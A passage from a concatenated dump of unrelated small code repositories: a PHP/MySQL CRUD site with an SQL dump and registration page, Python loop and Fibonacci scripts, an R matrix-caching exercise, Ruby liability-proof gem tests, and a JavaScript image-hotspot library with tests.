`name` varchar(255) NOT NULL,
`image` varchar(255) NOT NULL,
`dob` date NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
--
-- Dumping data for table `records`
--
INSERT INTO `records` (`recordID`, `categoryID`, `subs`, `name`, `image`, `dob`) VALUES
(1, 2, '344635', 'Dolor sit amet, consectetuer.', '706170.jpg', '0000-00-00'),
(2, 3, '876456', 'Ipsum dolor sit amet consectetuer.', '443971.jpg', '0000-00-00'),
(3, 5, '657423', 'howtobasic', '830977.png', '2021-01-02'),
(4, 6, '500', 'Steve', '680667.png', '1980-01-11'),
(5, 6, '1000000000', 'Renaldo', '817669.png', '1980-12-12'),
(6, 9, '608', 'SebGates', '552446.jpg', '1964-03-14'),
(7, 5, '2.5m', 'primitive technology idea', '274068.jpg', '1990-09-09'),
(8, 1, '6million', 'Seananners', '317876.jpg', '1990-12-03'),
(9, 1, '3million', 'Tobuscus', '232822.jpg', '1998-04-03'),
(10, 7, '5000000', '<NAME>', '647262.jpg', '1984-10-25'),
(11, 1, '200000', 'FrankieOnPcIn1080P', '149293.jpg', '1990-03-01'),
(12, 9, '500k', 'TronicFix', '21228.jpg', '1980-05-03');
--
-- Indexes for dumped tables
--
--
-- Indexes for table `categories`
--
ALTER TABLE `categories`
ADD PRIMARY KEY (`categoryID`);
--
-- Indexes for table `records`
--
ALTER TABLE `records`
ADD PRIMARY KEY (`recordID`),
ADD UNIQUE KEY `productCode` (`subs`);
--
-- AUTO_INCREMENT for dumped tables
--
--
-- AUTO_INCREMENT for table `categories`
--
ALTER TABLE `categories`
MODIFY `categoryID` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=10;
--
-- AUTO_INCREMENT for table `records`
--
ALTER TABLE `records`
MODIFY `recordID` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=13;
COMMIT;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
<file_sep><?php
require('database.php');
$record_id = filter_input(INPUT_POST, 'record_id', FILTER_VALIDATE_INT);
$query = 'SELECT *
FROM records
WHERE recordID = :record_id';
$statement = $db->prepare($query);
$statement->bindValue(':record_id', $record_id);
$statement->execute();
$record = $statement->fetch(PDO::FETCH_ASSOC);
$statement->closeCursor();
?>
<!DOCTYPE html>
<link rel="stylesheet" type="text/css" href="sass/main.css">
<!-- the head section -->
<html id="particles-js">
<!-- scripts -->
<script src="./particles.js"></script>
<script src="js/app.js"></script>
<div class="panel" style="display: block;">
<head>
<?php include './includes/title.php';?>
</head>
<!-- the body section -->
<?php include './includes/header.php';?>
<main>
<h1>about YouTube</h1>
<p1>YouTube is an American video-sharing platform headquartered in San Bruno, California.
Three former PayPal employees—<NAME>, <NAME>, and <NAME>—created the service in February 2005.
Google bought the site in November 2006 for US$1.65 billion; YouTube now operates as one of Google's subsidiaries.</p1>
</main>
<?php include './includes/footer.php';?>
</div>
</html><file_sep><?php
//register.php
/**
* Start the session.
*/
session_start();
/**
* Include ircmaxell's password_compat library.
*/
require 'libary-folder/password.php';
/**
* Include our MySQL connection.
*/
require 'login_connect.php';
//If the POST var "register" exists (our submit button), then we can
//assume that the user has submitted the registration form.
if(isset($_POST['register'])){
//Retrieve the field values from our registration form.
$username = !empty($_POST['username']) ? trim($_POST['username']) : null;
$pass = !empty($_POST['password']) ? trim($_POST['password']) : null;
//TO ADD: Error checking (username characters, password length, etc).
//Basically, you will need to add your own error checking BEFORE
//the prepared statement is built and executed.
//Now, we need to check if the supplied username already exists.
//Construct the SQL statement and prepare it.
$sql = "SELECT COUNT(username) AS num FROM users WHERE username = :username";
$stmt = $pdo->prepare($sql);
//Bind the provided username to our prepared statement.
$stmt->bindValue(':username', $username);
//Execute.
$stmt->execute();
//Fetch the row.
$row = $stmt->fetch(PDO::FETCH_ASSOC);
//If the provided username already exists - display error.
//TO ADD - Your own method of handling this error. For example purposes,
//I'm just going to kill the script completely, as error handling is outside
//the scope of this tutorial.
if($row['num'] > 0){
die('That username already exists!');
}
//Hash the password as we do NOT want to store our passwords in plain text.
$passwordHash = password_hash($pass, PASSWORD_BCRYPT, array("cost" => 12));
//Prepare our INSERT statement.
//Remember: We are inserting a new row into our users table.
$sql = "INSERT INTO users (username, password) VALUES (:username, :password)";
$stmt = $pdo->prepare($sql);
//Bind our variables.
$stmt->bindValue(':username', $username);
$stmt->bindValue(':password', $passwordHash);
//Execute the statement and insert the new account.
$result = $stmt->execute();
//If the signup process is successful.
if($result){
//What you do here is up to you!
echo 'Thank you for registering with our website.';
header('Location: index.php');
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<html id="particles-js">
<script src="./particles.js"></script>
<script src="js/app.js"></script>
<div class="panel" style="display: block;">
<link rel="stylesheet" type="text/css" href="./sass/main.css">
<link rel="stylesheet" type="text/css" href="./sass/register.css">
<?php include './includes/header.php';?>
<div class="reg">
<title>Register</title>
</head>
<body>
<h1>Register</h1>
<form action="register.php" method="post">
<label for="username">Username</label>
<input type="text" id="username"placeholder="Enter Username" name="username"><br>
<label for="password">Password</label>
<input type="text" id="password"placeholder="Enter Password" name="password"pattern="(?=.*\d)(?=.*[a-z])(?=.*[A-Z]).{8,}" title="Must contain at least one number and one uppercase and lowercase letter, and at least 8 or more characters" required><br>
<input type="submit" name="register" value="Register">
</form>
<div id="message">
<h3>Password must contain the following:</h3>
<p id="letter" class="invalid">A <b>lowercase</b> letter</p>
<p id="capital" class="invalid">A <b>capital (uppercase)</b> letter</p>
<p id="number" class="invalid">A <b>number</b></p>
<p id="length" class="invalid">Minimum <b>8 characters</b></p>
</div>
</div>
<script>
//////////////////////////////////////////////////////////////////////////////////////////
var myInput = document.getElementById("password");
var letter = document.getElementById("letter");
var capital = document.getElementById("capital");
var number = document.getElementById("number");
var length = document.getElementById("length");
// When the user clicks on the password field, show the message box
myInput.onfocus = function() {
document.getElementById("message").style.display = "block";
}
// When the user clicks outside of the password field, hide the message box
myInput.onblur = function() {
document.getElementById("message").style.display = "none";
}
// When the user starts to type something inside the password field
myInput.onkeyup = function() {
// Validate lowercase letters
var lowerCaseLetters = /[a-z]/g;
if(myInput.value.match(lowerCaseLetters)) {
letter.classList.remove("invalid");
letter.classList.add("valid");
} else {
letter.classList.remove("valid");
letter.classList.add("invalid");
}
// Validate capital letters
var upperCaseLetters = /[A-Z]/g;
if(myInput.value.match(upperCaseLetters)) {
capital.classList.remove("invalid");
capital.classList.add("valid");
} else {
capital.classList.remove("valid");
capital.classList.add("invalid");
}
// Validate numbers
var numbers = /[0-9]/g;
if(myInput.value.match(numbers)) {
number.classList.remove("invalid");
number.classList.add("valid");
} else {
number.classList.remove("valid");
number.classList.add("invalid");
}
// Validate length
if(myInput.value.length >= 8) {
length.classList.remove("invalid");
length.classList.add("valid");
} else {
length.classList.remove("valid");
length.classList.add("invalid");
}
}
</script>
</body>
<?php include './includes/footer.php';?>
</html>
<file_sep><footer>
<p>© <?php echo date("Y"); ?> Youtubers Ltd. by <NAME></p>
</footer> | 08c47cab25c7ee5f4991121737e9ccfa86ad2af3 | [
"SQL",
"PHP"
] | 10 | PHP | CiaranMullen/php-crud | 2d70ff743aff5d45472fa1a4c6b0c9ac25021cef | f62b793841709ce04d0bb6383977ffe2a791d1fe |
refs/heads/master | <repo_name>burhanozsahinoglu/pyhton_loopy<file_sep>/simplepythonloop.py
car = ["honda", "BMW", "Audi"]
for x in car:
print(x)
<file_sep>/fibonacci.py
def Fibonacci(n):
if n<0:
print("Incorrect input. Input isn't negative!")
elif n==1:
return 0
elif n==2:
return 1
else:
return Fibonacci(n-1)+Fibonacci(n-2)
fib_30 = []
for i in range(1, 31):
fib_30.append(Fibonacci(i))
num = int(input("Number: "))
print(Fibonacci(num))
print("\nFirst 30 Fibonacci Number")
print("Count - Fib")
for count, i in enumerate(fib_30, 1):
print(count,"------", i)<file_sep>/README.md
# pyhton_loopy
Hacktoberfest2k19 commits are welcome. this is python loop repository
| bf481c1d85cf00aff3958114a2702a8e9b6f5270 | [
"Markdown",
"Python"
] | 3 | Python | burhanozsahinoglu/pyhton_loopy | 9776c1eb3521932ea1a51c4f5443c0cd3d5bb0af | a9789eafc5a68065eceab7e76bbc9854c15e2b71 |
refs/heads/master | <repo_name>rush4ratio/ProgrammingAssignment2<file_sep>/cachematrix.R
## Put comments here that give an overall description of what your
## functions do
## Write a short comment describing this function
# 'create' builds a new matrix
# 'get' returns martrix held
# 'getInverse' returns the inverse of the matrix
# 'setInverse' sets the inverse of the matrix to what's provided
makeCacheMatrix <- function(x = matrix()) {
inverseOfMatrix <- NULL
create <- function(newMatrix){
x <<- newMatrix
inverseOfMatrix <<- NULL
}
get <- function() x
getInverse <- function() inverseOfMatrix
setInverse <- function(inverse){
inverseOfMatrix <<- inverse
}
list(create= create, get = get, getInverse = getInverse, setInverse = setInverse)
}
## Write a short comment describing this function
# 'inv_m' holds the inverse of the matrix, it's null if it doesn't exist
# Next step is to get the matrix's data, if inv_num is null
# Calculate the inverse then return it
cacheSolve <- function(x, ...) {
## Return a matrix that is the inverse of 'x'
inv_m <- x$getInverse()
if(!is.null(inv_m)) {
message("retrieving cached data")
return(inv_m)
}
data <- x$get()
inv_m <- solve(data, ...)
x$setInverse(inv_m)
inv_m
}
| c263197f4e3d4f53c9f41610a2f50c5cd39e0535 | [
"R"
] | 1 | R | rush4ratio/ProgrammingAssignment2 | 0ecdb77a1ff7e4a5c22c776353b85cf0471c8964 | ae76a3dd26a623ed27f370a7f7cf20a1f4eadc0e |
refs/heads/master | <repo_name>assetcore/liability-proof-master<file_sep>/test/helper.rb
require 'minitest/autorun'
require 'json'
require 'liability-proof'
def accounts
@accounts ||= JSON.parse File.read(File.expand_path('../fixtures/accounts.json', __FILE__))
end
def root_json_path
File.expand_path '../fixtures/root.json', __FILE__
end
def partial_tree_json_path
File.expand_path '../fixtures/jan.json', __FILE__
end
<file_sep>/test/test_verifier.rb
require 'helper'
class TestVerifier < MiniTest::Unit::TestCase
def test_tree_partial_tree
tree = LiabilityProof::Tree.new accounts
verifier = LiabilityProof::Verifier.new(
root: root_json_path,
file: partial_tree_json_path
)
assert_equal true, verifier.match?
end
end
<file_sep>/liability-proof.gemspec
$:.push File.expand_path("../lib", __FILE__)
require "liability-proof/version"
# Describe your gem and declare its dependencies:
Gem::Specification.new do |s|
s.name = "liability-proof"
s.version = LiabilityProof::VERSION
s.authors = ["Assecore Opensource"]
s.email = ["<EMAIL>"]
s.homepage = "https://github.com/assetcore/liability-proof"
s.summary = "An implementation of <NAME>'s Merkle approach to prove Bitcoin liabilities."
s.description = "Check https://iwilcox.me.uk/2014/proving-bitcoin-reserves for more details."
s.license = 'MIT'
s.executables = ['lproof']
s.files = Dir["{bin,lib}/**/*"] + ["README.markdown"]
s.add_runtime_dependency('awesome_print')
end
<file_sep>/test/test_tree.rb
require 'helper'
class TestTree < MiniTest::Unit::TestCase
def test_leaf_node_with_invalid_value
assert_raises ArgumentError do
LiabilityProof::Tree::LeafNode.new('', '', '')
end
end
def test_leaf_node
node = LiabilityProof::Tree::LeafNode.new('jan', BigDecimal.new('12.13'), '1234567890ABCDEF')
assert_equal 'jan', node.user
assert_equal BigDecimal.new('12.13'), node.sum
assert_equal '1234567890ABCDEF', node.nonce
assert_equal 64, node.hash.size
end
def test_interior_node
left = LiabilityProof::Tree::LeafNode.new('jan', BigDecimal.new('12.13'), '')
right = LiabilityProof::Tree::LeafNode.new('zw', BigDecimal.new('20.14'), '')
node = LiabilityProof::Tree::InternalNode.new left, right
assert_equal left, node.left
assert_equal right, node.right
sum = (left.sum + right.sum).to_s('F')
hash = LiabilityProof.sha256_base64 "#{sum}|#{left.hash}|#{right.hash}"
assert_equal hash, node.hash
end
def test_tree_generation
sum = accounts
.map {|a| BigDecimal.new a['balance'] }
.inject(0, &:+)
assert_equal sum, tree.root.sum
end
def test_tree_generation_with_empty_accounts
assert_raises ArgumentError do
LiabilityProof::Tree.new []
end
end
def test_tree_indices
assert_equal [:left, :left, :left, :left, :left], tree.indices['jan']
assert_equal [:right, :right], tree.indices['picasso']
end
def test_tree_partial_tree
partial = tree.partial('jan')
leaf_data = partial['left']['left']['left']['left']['left']['data']
assert_equal 'jan', leaf_data['user']
assert_equal '12.13', leaf_data['sum']
assert_equal 32, leaf_data['nonce'].size
assert_equal false, leaf_data.has_key?('hash')
assert_equal true, leaf_data.has_key?('nonce')
other_data = partial['left']['left']['left']['left']['right']['data']
assert_nil other_data['user']
assert_nil other_data['nonce']
end
def test_tree_partial_json
assert_equal 'partial_tree', tree.partial_json('jan').keys.first
end
def test_tree_root_json
assert_equal "27748.32", tree.root_json['root']['sum']
end
def test_tree_root_json_with_currency
tree = LiabilityProof::Tree.new accounts, currency: 'CNY'
assert_equal 'CNY', tree.root_json['currency']
end
private
def tree
@tree ||= LiabilityProof::Tree.new accounts
end
end
| bcddd8ac256154ce76da9c9c155940fe7af9c2bc | [
"Ruby"
] | 4 | Ruby | assetcore/liability-proof-master | fd68dd2a3eab093547c1a8cfbdf868ae6c028f90 | e7277ffac4db92866a3e4483360fdb76c78d4df6 |
refs/heads/master | <repo_name>amplience/poi-js-lib<file_sep>/src/poi-polygon.js
'use strict';
POI.prototype.polygons = function () {
var parent = this;
var methods = {
create: function (point, imgInfo) {
//Create hotspots, add class, styles, find parent, add event callbacks
var callbacks = imgInfo.data.polygonCallbacks;
var selector = point.selector;
if (!selector) {
console.warn('no selector specified');
return;
}
var target = point.target;
var $parent = parent.dom.getClosest(imgInfo.$img, '.' + parent.params.containerClass);
var $svg;
var svgNS = 'http://www.w3.org/2000/svg';
var $group = document.createElementNS(svgNS, 'g');
var $elem = document.createElementNS(svgNS, 'polygon');
if (!imgInfo.svg) {
$svg = document.createElementNS(svgNS, 'svg');
$svg.setAttributeNS(null, 'viewBox', '0 0 ' + imgInfo.dimensions.width + ' ' + imgInfo.dimensions.height);
$parent.appendChild($svg);
imgInfo.svg = $svg;
} else {
$svg = imgInfo.svg;
}
if (selector.indexOf('.') === 0) {
selector = selector.slice(1);
$elem.setAttributeNS(null, 'class', selector);
} else if (selector.indexOf('#') === 0) {
selector = selector.slice(1);
$elem.setAttributeNS(null, 'id', selector);
} else {
$elem.setAttributeNS(null, 'class', selector);
}
if ($parent && parent.dom.hasClass($parent, parent.params.containerClass)) {
var pointsCalc = '';
point.points.forEach(function (v) {
pointsCalc += ((imgInfo.dimensions.width * v.x) + ',' + (imgInfo.dimensions.height * v.y) + ' ');
});
$elem.setAttributeNS(null, 'points', pointsCalc);
$svg.appendChild($group);
$group.appendChild($elem);
if (target && target.length > 0) {
$elem.setAttributeNS(null, 'data-target', target);
parent.assignEvents($group, target, callbacks, {
$image: imgInfo.$img,
$target: $group,
$parent: $parent,
polygon: point,
imgInfo: imgInfo
});
}
}
else {
console.warn('No parent with specified className ' + parent.params.containerClass + ' was found.');
}
}
};
return methods;
};
<file_sep>/tests/integration.spec.js
var expectedData = require('./expectedData');
var deepEqual = require('deep-equal');
var helpers = require('./helpers')();
var data;
var hotspot;
var polygon;
delete expectedData.points[0].points.client;
module.exports = {
'Hotspot tests': function (browser) {
browser.url('http://localhost:8000/examples/test.html')
.waitForElementPresent('.img-point', 3000)
.execute('return window.test', [], function (response) {
data = response.value.data;
hotspot = response.value.hotspot;
polygon = response.value.polygon
this.assert.ok(deepEqual(data.imgInfo.points, expectedData.points), "Returned POI data equals to expected data");
})
.execute([], function (res) {
var hotspotLeftPosition = helpers.convertPercent(data.imgInfo.points[0].points.x);
var hotspotRightPosition = helpers.convertPercent(data.imgInfo.points[0].points.y);
this.assert.ok(
(hotspotLeftPosition === hotspot.position.left && hotspotRightPosition === hotspot.position.top),
"Hotspot has correct left and top positions"
);
})
.execute([], function (res) {
browser
.execute([], function (response) {
this.assert.ok(hotspot.initCallbackData !== null, "Hotspot init callback is called");
})
.execute([], function (response) {
var checkValues = helpers.checkHotspotRequiredData(hotspot.initCallbackData);
this.assert.ok(checkValues == true, "Hotspot Init callback is called with required data");
})
.click('.img-point[data-target="rightLeg"]')
.execute('return window.test', [], function (response) {
hotspot = response.value.hotspot;
this.assert.ok(hotspot.clickCallback !== null, "Hotspot callback on click action is called");
})
.execute([], function (response) {
var checkValues = helpers.checkHotspotRequiredData(hotspot.clickCallbackData);
this.assert.ok(checkValues == true, "Hotspot Click callback is called with required data");
})
})
},
'polygon tests': function (browser) {
browser
.execute([], function (res) {
var points = polygon.points;
this.assert.ok(points.split(' ').length === 4, "Square has 4 points");
})
.execute([], function (res) {
var transformPoints = helpers.transformAreaPoints(polygon.rawPoints, data.imgInfo).trim();
this.assert.ok(polygon.points === transformPoints, "Square is positioned correctly");
})
.execute([], function (response) {
browser
.execute([], function (response) {
this.assert.ok(polygon.initCallbackData !== null, "Square init callback is called");
})
.execute([], function (response) {
var checkValues = helpers.checkPolygonRequiredData(polygon.initCallbackData);
this.assert.ok(checkValues == true, "Square Init callback is called with required data");
})
.click('.img-area')
.execute('return window.test', [], function (response) {
polygon = response.value.polygon;
this.assert.ok(polygon.clickCallback !== null, "Square callback on click action is called");
})
.execute([], function (response) {
var checkValues = helpers.checkPolygonRequiredData(polygon.clickCallbackData);
this.assert.ok(checkValues == true, "Square Click callback is called with required data");
})
})
.end();
},
}
<file_sep>/dist/poi-lib.js
'use strict';
window.POI = function (params) {
this.images = [];
this.imgsLoaded = 0;
this.params = params;
};
window.POI.prototype = {
generateData: function (params, imgsArray) {
var self = this;
var points = self.getHotspots(params.data);
var imgInfo;
if (points !== null) {
var $img = self.findImg(params.img, imgsArray);
imgInfo = {
dimensions: {
width: params.data.width,
height: params.data.height
},
$img: $img,
data: params.img,
name: params.img.name,
points: points,
svg: null
};
self.images.push(imgInfo);
}
self.imgsLoaded += 1;
params.callback(imgInfo);
},
getImgData: function (callback) {
var self = this;
var imgs = this.params.images;
var $imgs = document.querySelectorAll('img.' + this.params.imgClass);
var imgsArray = Array.apply(null, $imgs);
var getImgData = function (img) {
self.ajax.atomic(self.params.domain + '/i/' + self.params.account + '/' + img.name + '.json?metadata=true&func=amp.jsonReturn&v=' + new Date().getTime())
.then(function (dataObj) {
var data = dataObj.data;
var imgsArrayClone = self.clone(imgsArray);
var allImages = self.findAllImages(img, imgsArrayClone);
allImages.forEach(function () {
self.generateData({
data: data,
img: img,
callback: function (imgInfo) {
callback(imgInfo);
}
}, imgsArray);
})
})
};
for (var x = 0; x < imgs.length; x++) {
(function () {
var i = x;
if (imgs[i].name === '*') {
for (var y = 0; y < $imgs.length; y++) {
(function () {
var j = y;
var imgWithName = $imgs[j];
var srcParsed = imgWithName.getAttribute('src');
var nameParsed;
var withoutQuery = srcParsed.split('?');
nameParsed = withoutQuery[0].split(self.params.account + '/');
nameParsed = nameParsed[nameParsed.length - 1].split('/');
nameParsed = nameParsed[0];
var found = imgs.find(function (el) {
return el.name === nameParsed;
});
if (found) {
return false;
}
getImgData({
name: nameParsed,
hotspotCallbacks: imgs[i].hotspotCallbacks,
polygonCallbacks: imgs[i].polygonCallbacks
});
})()
}
} else {
if (imgs[i].data) {
self.generateData({
data: imgs[i].data,
img: imgs[i],
callback: function (imgInfo) {
callback(imgInfo);
}
}, imgsArray);
} else {
//Calls Ajax for each image, and executes callback for each found hotspots
getImgData(imgs[i]);
}
}
}());
}
},
findAllImages: function (img, imgs) {
var attr = this.params.imgAttribute || 'src';
var $foundImg = [];
for (var x = 0; x < imgs.length; x++) {
var regExp = new RegExp(img.name);
var src = imgs[x].getAttribute(attr).match(regExp);
if (src && src.length > 0) {
//Found image
$foundImg.push(imgs[x]);
}
}
return $foundImg;
},
findImg: function (img, imgs) {
//Finds image inside html by src attribute and matches it to name of image from ajax call
var attr = this.params.imgAttribute || 'src';
var $foundImg = null;
for (var x = 0; x < imgs.length; x++) {
var regExp = new RegExp(img.name);
var src = imgs[x].getAttribute(attr).match(regExp);
if (src && src.length > 0) {
//Found image
$foundImg = imgs[x];
imgs.splice(x, 1);
break;
}
}
return $foundImg;
},
getHotspots: function (imgData) {
//Forms and returns array of hotSpots from ajax call
var poiArr = null;
if (imgData.constructor !== Array) {
imgData = [imgData];
}
for (var x = 0; x < imgData.length; x++) {
if (imgData[x] &&
imgData[x].metadata &&
imgData[x].metadata.hotSpots &&
imgData[x].metadata.hotSpots.constructor === Object &&
imgData[x].metadata.hotSpots.hotSpots &&
imgData[x].metadata.hotSpots.hotSpots.constructor === Object &&
imgData[x].metadata.hotSpots.hotSpots.list &&
imgData[x].metadata.hotSpots.hotSpots.list.length > 0
) {
poiArr = imgData[x].metadata.hotSpots.hotSpots.list;
}
}
return poiArr;
},
iteratePoints: function (imgInfo) {
if (!imgInfo) {
return;
}
var hotspots = this.hotspots();
var areaInterest = this.polygons();
var points = imgInfo.points;
for (var i = 0; i < points.length; i++) {
if (points[i].points.constructor === Array) {
areaInterest.create(points[i], imgInfo);
}
else {
hotspots.create(points[i], imgInfo);
}
}
},
assignEvents: function ($elem, target, callbacks, params) {
//Loop over events callback, defined in params, and assign them to hotspots or polygon
if (callbacks && callbacks.length > 0) {
for (var z = 0; z < callbacks.length; z++) {
(function () {
var callback = callbacks[z];
if (callback.target === target || callback.target === '*') {
$elem.addEventListener(callback.action, function (evt) {
callback.callback(evt, params);
}, false);
if (callback.initCallback) {
callback.initCallback(params);
}
}
}());
}
}
},
init: function () {
var self = this;
this.getImgData(function (imgInfo) {
self.iteratePoints(imgInfo);
});
},
clone: function (obj) {
if (null == obj || "object" != typeof obj) return obj;
var copy = obj.constructor();
for (var attr in obj) {
if (obj.hasOwnProperty(attr)) copy[attr] = obj[attr];
}
return copy;
}
};
if (typeof exports === 'object') {
module.exports = POI;
}
'use strict';
POI.prototype.dom = {
hasClass: function (target, className) {
return new RegExp('(\\s|^)' + className + '(\\s|$)').test(target.className);
},
getClosest: function (elem, selector) {
/**
* Get the closest matching element up the DOM tree.
* @param {Element} elem Starting element
* @param {String} selector Selector to match against (class, ID, data attribute, or tag)
* @return {Boolean|Element} Returns null if not match found
*/
// Variables
var firstChar = selector.charAt(0);
var supports = 'classList' in document.documentElement;
var attribute, value;
// If selector is a data attribute, split attribute from value
if (firstChar === '[') {
selector = selector.substr(1, selector.length - 2);
attribute = selector.split('=');
if (attribute.length > 1) {
value = true;
attribute[1] = attribute[1].replace(/"/g, '').replace(/'/g, '');
}
}
// Get closest match
for (; elem && elem !== document && elem.nodeType === 1; elem = elem.parentNode) {
// If selector is a class
if (firstChar === '.') {
if (supports) {
if (elem.classList.contains(selector.substr(1))) {
return elem;
}
} else {
if (new RegExp('(^|\\s)' + selector.substr(1) + '(\\s|$)').test(elem.className)) {
return elem;
}
}
}
// If selector is an ID
if (firstChar === '#') {
if (elem.id === selector.substr(1)) {
return elem;
}
}
// If selector is a data attribute
if (firstChar === '[') {
if (elem.hasAttribute(attribute[0])) {
if (value) {
if (elem.getAttribute(attribute[0]) === attribute[1]) {
return elem;
}
} else {
return elem;
}
}
}
// If selector is a tag
if (elem.tagName.toLowerCase() === selector) {
return elem;
}
}
return null;
}
};
'use strict';
POI.prototype.hotspots = function () {
var parent = this;
var methods = {
create: function (point, imgInfo) {
//Create hotspots, add class, styles, find parent, add event callbacks
var callbacks = imgInfo.data.hotspotCallbacks;
var $elem = document.createElement('div');
var selector = point.selector;
var target = point.target;
if (!selector) {
console.warn('no selector specified');
return;
}
if (selector.indexOf('.') === 0) {
selector = selector.slice(1);
$elem.setAttribute('class', selector);
} else if (selector.indexOf('#') === 0) {
selector = selector.slice(1);
$elem.setAttribute('id', selector);
} else {
$elem.setAttribute('class', selector);
}
$elem.setAttribute('data-type', "poi-hotspot");
var $parent = parent.dom.getClosest(imgInfo.$img, '.' + parent.params.containerClass);
if ($parent && parent.dom.hasClass($parent, parent.params.containerClass)) {
var x = point.points.x.toString().slice(2);
x = x.substr(0, 2) + '.' + x.substr(2);
var y = point.points.y.toString().slice(2);
y = y.substr(0, 2) + '.' + y.substr(2);
$elem.style.position = 'absolute';
$elem.style.left = x + '%';
$elem.style.top = y + '%';
$parent.style.position = 'relative';
$parent.appendChild($elem);
if (target && target.length > 0) {
$elem.setAttribute('data-target', target);
parent.assignEvents($elem, target, callbacks, {
$image: imgInfo.$img,
$target: $elem,
$parent: $parent,
hotspot: point,
imgInfo: imgInfo
});
}
}
else {
console.warn('No parent with specified className ' + parent.params.containerClass + ' was found.');
}
}
};
return methods;
};
'use strict';
POI.prototype.polygons = function () {
var parent = this;
var methods = {
create: function (point, imgInfo) {
//Create hotspots, add class, styles, find parent, add event callbacks
var callbacks = imgInfo.data.polygonCallbacks;
var selector = point.selector;
if (!selector) {
console.warn('no selector specified');
return;
}
var target = point.target;
var $parent = parent.dom.getClosest(imgInfo.$img, '.' + parent.params.containerClass);
var $svg;
var svgNS = 'http://www.w3.org/2000/svg';
var $group = document.createElementNS(svgNS, 'g');
var $elem = document.createElementNS(svgNS, 'polygon');
if (!imgInfo.svg) {
$svg = document.createElementNS(svgNS, 'svg');
$svg.setAttributeNS(null, 'viewBox', '0 0 ' + imgInfo.dimensions.width + ' ' + imgInfo.dimensions.height);
$parent.appendChild($svg);
imgInfo.svg = $svg;
} else {
$svg = imgInfo.svg;
}
if (selector.indexOf('.') === 0) {
selector = selector.slice(1);
$elem.setAttributeNS(null, 'class', selector);
} else if (selector.indexOf('#') === 0) {
selector = selector.slice(1);
$elem.setAttributeNS(null, 'id', selector);
} else {
$elem.setAttributeNS(null, 'class', selector);
}
if ($parent && parent.dom.hasClass($parent, parent.params.containerClass)) {
var pointsCalc = '';
point.points.forEach(function (v) {
pointsCalc += ((imgInfo.dimensions.width * v.x) + ',' + (imgInfo.dimensions.height * v.y) + ' ');
});
$elem.setAttributeNS(null, 'points', pointsCalc);
$svg.appendChild($group);
$group.appendChild($elem);
if (target && target.length > 0) {
$elem.setAttributeNS(null, 'data-target', target);
parent.assignEvents($group, target, callbacks, {
$image: imgInfo.$img,
$target: $group,
$parent: $parent,
polygon: point,
imgInfo: imgInfo
});
}
}
else {
console.warn('No parent with specified className ' + parent.params.containerClass + ' was found.');
}
}
};
return methods;
};
'use strict';
POI.prototype.ajax = {
// Default settings
settings: null,
defaults: {
method: 'GET',
username: null,
password: <PASSWORD>,
data: {},
headers: {
'Content-type': 'application/x-www-form-urlencoded'
},
responseType: 'text',
timeout: null,
withCredentials: false
},
//
// Methods
//
/**
* Feature test
* @return {Boolean} If true, required methods and APIs are supported
*/
supports: function () {
return 'XMLHttpRequest' in window && 'JSON' in window && 'Promise' in window;
},
/**
* Merge two or more objects together.
* @param {Object} objects The objects to merge together
* @returns {Object} Merged values of defaults and options
*/
extend: function () {
var self = this;
// Variables
var extended = {};
// Merge the object into the extended object
var merge = function (obj) {
for (var prop in obj) {
if (obj.hasOwnProperty(prop)) {
if (Object.prototype.toString.call(obj[prop]) === '[object Object]') {
extended[prop] = self.extend(extended[prop], obj[prop]);
} else {
extended[prop] = obj[prop];
}
}
}
};
// Loop through each object and conduct a merge
for (var i = 0; i < arguments.length; i++) {
var obj = arguments[i];
merge(obj);
}
return extended;
},
/**
* Parse text response into JSON
* @private
* @param {String} req The response
* @return {Array} A JSON Object of the responseText, plus the orginal response
*/
parse: function (req) {
var result;
if (this.settings.responseType !== 'text' && this.settings.responseType !== '') {
return {data: req.response, xhr: req};
}
try {
result = JSON.parse(req.responseText);
} catch (e) {
result = req.responseText;
}
return {data: result, xhr: req};
},
/**
* Convert an object into a query string
* @link https://blog.garstasio.com/you-dont-need-jquery/ajax/
* @param {Object|Array|String} obj The object
* @return {String} The query string
*/
param: function (obj) {
// If already a string, or if a FormData object, return it as-is
if (typeof (obj) === 'string' || Object.prototype.toString.call(obj) === '[object FormData]') return obj;
// If the content-type is set to JSON, stringify the JSON object
if (/application\/json/i.test(this.settings.headers['Content-type']) || Object.prototype.toString.call(obj) === '[object Array]') return JSON.stringify(obj);
// Otherwise, convert object to a serialized string
var encoded = [];
for (var prop in obj) {
if (obj.hasOwnProperty(prop)) {
encoded.push(encodeURIComponent(prop) + '=' + encodeURIComponent(obj[prop]));
}
}
return encoded.join('&');
},
/**
* Make an XHR request, returned as a Promise
* @param {String} url The request URL
* @return {Promise} The XHR request Promise
*/
makeRequest: function (url) {
// Create the XHR request
var request = new XMLHttpRequest();
var self = this;
// Setup the Promise
var xhrPromise = new Promise(function (resolve, reject) {
// Setup our listener to process compeleted requests
request.onreadystatechange = function () {
// Only run if the request is complete
if (request.readyState !== 4) return;
// Process the response
if (request.status >= 200 && request.status < 300) {
// If successful
resolve(self.parse(request));
} else {
// If failed
reject({
status: request.status,
statusText: request.statusText,
responseText: request.responseText
});
}
};
// Setup our HTTP request
request.open(self.settings.method, url, true, self.settings.username, self.settings.password);
request.responseType = self.settings.responseType;
// Add headers
for (var header in self.settings.headers) {
if (self.settings.headers.hasOwnProperty(header)) {
request.setRequestHeader(header, self.settings.headers[header]);
}
}
// Set timeout
if (self.settings.timeout) {
request.timeout = self.settings.timeout;
request.ontimeout = function (e) {
reject({
status: 408,
statusText: 'Request timeout'
});
};
}
// Add withCredentials
if (self.settings.withCredentials) {
request.withCredentials = true;
}
// Send the request
request.send(self.param(self.settings.data));
});
// Cancel the XHR request
xhrPromise.cancel = function () {
request.abort();
};
// Return the request as a Promise
return xhrPromise;
},
/**
* Instatiate Atomic
* @param {String} url The request URL
* @param {Object} options A set of options for the request [optional]
*/
atomic: function (url, options) {
// Check browser support
if (!this.supports()) throw 'Atomic: This browser does not support the methods used in this plugin.';
// Merge options into defaults
this.settings = this.extend(this.defaults, options || {});
// Make request
